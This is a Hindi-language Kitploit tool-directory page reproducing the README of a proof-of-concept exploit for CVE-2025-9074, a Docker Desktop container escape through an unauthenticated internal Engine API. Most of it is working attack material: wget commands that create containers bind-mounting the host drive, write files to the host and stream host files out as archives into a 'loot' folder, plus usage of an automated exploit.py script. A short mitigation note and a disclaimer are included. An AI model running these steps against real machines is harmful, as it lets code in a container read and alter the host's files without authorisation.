Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2025-9074 — CVE-2025-9074 के लिए PoC एक्सप्लॉइट जो Windows और macOS पर एक अप्रमाणित आंतरिक Docker Engine API के माध्यम से पूर्ण Docker Desktop कंटेनर एस्केप प्रदर्शित करता है। | Kitploit
उपकरण/GitHubGitHub/pucagit/cve-2025-9074
भेद्यता विश्लेषणशोषणपेनिट्रेशन टेस्टिंगक्लाउड सुरक्षालर्निंग और शिक्षाकंटेनर एस्केप
GitHubpucagit/cve-2025-9074

CVE-2025-9074

CVE-2025-9074 के लिए PoC एक्सप्लॉइट जो Windows और macOS पर एक अप्रमाणित आंतरिक Docker Engine API के माध्यम से पूर्ण Docker Desktop कंटेनर एस्केप प्रदर्शित करता है।

रिपॉजिटरी देखें
143 महीने पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें

CVE-2025-9074 – विंडोज और macOS डॉकर डेस्कटॉप पर पूर्ण डॉकर एस्केप

📌 विवरण

डॉकर डेस्कटॉप आंतरिक डॉकर इंजन API को http://192.168.65.7:2375 पर किसी भी चल रहे कंटेनर के लिए उजागर करता है — बिना किसी प्रमाणीकरण और बिना किसी एक्सेस नियंत्रण के।

चूँकि इंजन स्वयं होस्ट फाइलसिस्टम को माउंट कर सकता है, एक कंटेनर इस API को कॉल करके एक नया कंटेनर बना सकता है जो होस्ट ड्राइव को बाइंड-माउंट करता है, और फिर उस कंटेनर का उपयोग करके मनमानी होस्ट फाइलों को पढ़ और लिख सकता है — यह एक पूर्ण कंटेनर-से-होस्ट एस्केप है।

📝 संदर्भ

  • CVE-2025-9074 रिकॉर्ड
  • डॉकर डेस्कटॉप रिलीज़ नोट्स (4.44.3 में ठीक किया गया)
  • फेलिक्स बाउलेट का शोध

🎯 प्रभावित संस्करण

  • विंडोज और macOS पर डॉकर डेस्कटॉप ≤ 4.44.3

⚙️ यह कैसे काम करता है

  1. API तक पहुँचें। एक चल रहा कंटेनर http://192.168.65.7:2375 पर डॉकर इंजन API से जुड़ता है — किसी क्रेडेंशियल की आवश्यकता नहीं है।
  2. एक विशेषाधिकार प्राप्त कंटेनर बनाएँ। यह POST /containers/create भेजता है जिसमें Binds: ["/mnt/host:/host_root"] होता है, जो होस्ट ड्राइव को एक नए कंटेनर में माउंट करता है। डॉकर VM के अंदर होस्ट फाइलसिस्टम /mnt/host पर उजागर होता है (उदाहरण के लिए विंडोज C: ड्राइव /mnt/host/c पर है)।
  3. कंटेनर प्रारंभ करें। POST /containers/{id}/start बाइंड माउंट को सक्रिय करता है, जिससे पूर्ण होस्ट एक्सेस मिलता है।
  4. होस्ट फाइलें लिखें। नया कंटेनर एक कमांड चलाता है जो बाइंड माउंट में लिखता है (उदाहरण के लिए echo pwned > /host_root/c/test/pwn.txt)।
  5. होस्ट फाइलें पढ़ें। GET /containers/{id}/archive?path=... किसी भी होस्ट पथ को TAR आर्काइव के रूप में वापस स्ट्रीम करता है — किसी शेल की आवश्यकता नहीं है।

🧪 लैब सेटअप

आवश्यकताएँ

  • डॉकर डेस्कटॉप 4.44.3 से पहले (विंडोज या macOS)
  • एक हमलावर कंटेनर जो आंतरिक API तक पहुँच सकता है (कोई भी कंटेनर ऐसा कर सकता है)

परीक्षण डेटा तैयार करें (विंडोज)

C:\test\readme.txt बनाएँ और उसमें कुछ नमूना सामग्री डालें ताकि रीड डेमो के पास एक लक्ष्य हो।

poc 1

एक हमलावर कंटेनर लॉन्च करें

root@kitploit:~
docker run -it --rm alpine /bin/sh

नीचे दिए गए सभी मैनुअल चरण इस कंटेनर के अंदर चलते हैं (alpine के साथ wget आता है)। कमांड छोटे रखने के लिए API के लिए एक शेल वेरिएबल सेट करें:

root@kitploit:~
API=http://192.168.65.7:2375

✍️ पुनरुत्पादन — होस्ट पर WRITE (लिखना)

लक्ष्य: एक कंटेनर के अंदर से होस्ट पर C:\test\pwn.txt बनाएँ।

root@kitploit:~
# 1. Create a container that mounts the host C: drive and writes a file into it.
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sh","-c","echo pwned > /host_root/c/test/pwn.txt"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create

# 2. Extract the new container ID from the JSON response.
cid=$(cut -d'"' -f4 create.json)

# 3. Start it — the command runs and writes the file to the host.
wget -q -O - --post-data='' $API/containers/$cid/start

क्या हुआ:

  • Binds: /mnt/host:/host_root होस्ट ड्राइव को नए कंटेनर में माउंट करता है।
  • कंटेनर की कमांड C:\test\pwn.txt (/host_root/c/test/pwn.txt) में pwned लिखती है।
  • कभी भी किसी क्रेडेंशियल की आवश्यकता नहीं थी।

अपेक्षित परिणाम: C:\test\pwn.txt अब होस्ट पर मौजूद है।

poc 2


📖 पुनरुत्पादन — होस्ट से READ (पढ़ना)

लक्ष्य: एक कंटेनर के अंदर से होस्ट से C:\test\readme.txt पढ़ें।

root@kitploit:~
# 1. Create + start a container with the host drive mounted (kept alive briefly).
wget -q -O create.json \
  --header='Content-Type: application/json' \
  --post-data='{"Image":"alpine","Cmd":["sleep","30"],"HostConfig":{"Binds":["/mnt/host:/host_root"]}}' \
  $API/containers/create
cid=$(cut -d'"' -f4 create.json)
wget -q -O - --post-data='' $API/containers/$cid/start

# 2. Ask the engine for a TAR archive of the host directory, then extract it.
wget -q -O test.tar "$API/containers/$cid/archive?path=/host_root/c/test"
tar -xvf test.tar
cat test/readme.txt

क्या हुआ:

  • वही बाइंड माउंट होस्ट ड्राइव को नए कंटेनर के लिए रीड-अनुकूल तरीके से उजागर करता है।
  • GET /containers/{id}/archive?path=... किसी भी होस्ट पथ को TAR के रूप में वापस स्ट्रीम करता है — किसी शेल की आवश्यकता नहीं है।
  • आर्काइव निकालने पर होस्ट फाइल की सामग्री सामने आती है।

अपेक्षित परिणाम: C:\test\readme.txt की सामग्री प्रिंट होती है।

poc 3


🤖 स्वचालित शोषण — exploit.py

exploit.py दोनों प्रवाहों को स्वचालित करता है। यह केवल पायथन मानक पुस्तकालय का उपयोग करता है, होस्ट माउंट को स्वतः पहचानता है (विंडोज /mnt/host/c बनाम macOS/Linux /), और आपके लिए नेटिव होस्ट पथों का अनुवाद करता है।

आंतरिक API (192.168.65.7:2375) केवल कंटेनर के अंदर से पहुँच योग्य है, इसलिए स्क्रिप्ट को ऐसे कंटेनर में चलाएँ जिसमें पायथन हो:

root@kitploit:~
# From the repo directory on the host:
docker run --rm -it -v "${PWD}:/x" python:3-alpine python /x/exploit.py info

विंडोज PowerShell पर, -v "${PWD}:/x" उपयोग करें; cmd.exe पर -v "%cd%:/x" उपयोग करें।

एक्सेस सत्यापित करें

root@kitploit:~
python /x/exploit.py info

API को पिंग करता है, होस्ट OS का पता लगाता है, और शीर्ष-स्तरीय होस्ट माउंट प्रविष्टियों को सूचीबद्ध करता है।

होस्ट फाइल लिखें

root@kitploit:~
# Windows host
python /x/exploit.py write 'C:\test\pwn.txt' --content 'pwned via CVE-2025-9074'

# macOS/Linux host (or pipe content via stdin)
echo "pwned" | python /x/exploit.py write /tmp/pwn.txt

होस्ट फाइल पढ़ें

root@kitploit:~
# Print to stdout
python /x/exploit.py read 'C:\test\readme.txt'

# Or extract (file or whole directory) into ./loot
python /x/exploit.py read 'C:\test' --out ./loot

उपयोगी फ्लैग

फ्लैगउद्देश्य
--api URLAPI एंडपॉइंट को ओवरराइड करें (डिफ़ॉल्ट http://192.168.65.7:2375)
--image NAMEशोषण कंटेनर के लिए इमेज (डिफ़ॉल्ट alpine, गायब होने पर स्वतः पुल होती है)
--vm-mount PATHऑटो-डिटेक्ट छोड़ें और इन-VM होस्ट माउंट को बलपूर्वक सेट करें (जैसे /mnt/host या /)

🛡️ शमन (Mitigation)

  • विंडोज और macOS पर डॉकर डेस्कटॉप को ≥ 4.44.3 में अपग्रेड करें।
  • अविश्वसनीय इमेज न चलाएँ; अनपैच किया गया API किसी भी कंटेनर से पहुँच योग्य है।

⚠️ अस्वीकरण

यह PoC केवल अधिकृत परीक्षण, शिक्षा और शोध के लिए है। लेखक दुरुपयोग के लिए कोई जिम्मेदारी नहीं लेता है। इसे केवल उन्हीं प्रणालियों पर चलाएँ जिनके आप स्वामी हैं या जिनका परीक्षण करने की अनुमति आपके पास है।


🙏 श्रेय

यह PoC और README फेलिक्स बाउलेट के शोध से व्युत्पन्न हैं। मूल खोज और विश्लेषण का सारा श्रेय मूल लेखक को जाता है।


📜 लाइसेंस

यह प्रोजेक्ट MIT लाइसेंस के अंतर्गत लाइसेंस प्राप्त है।

टूल डाउनलोड करें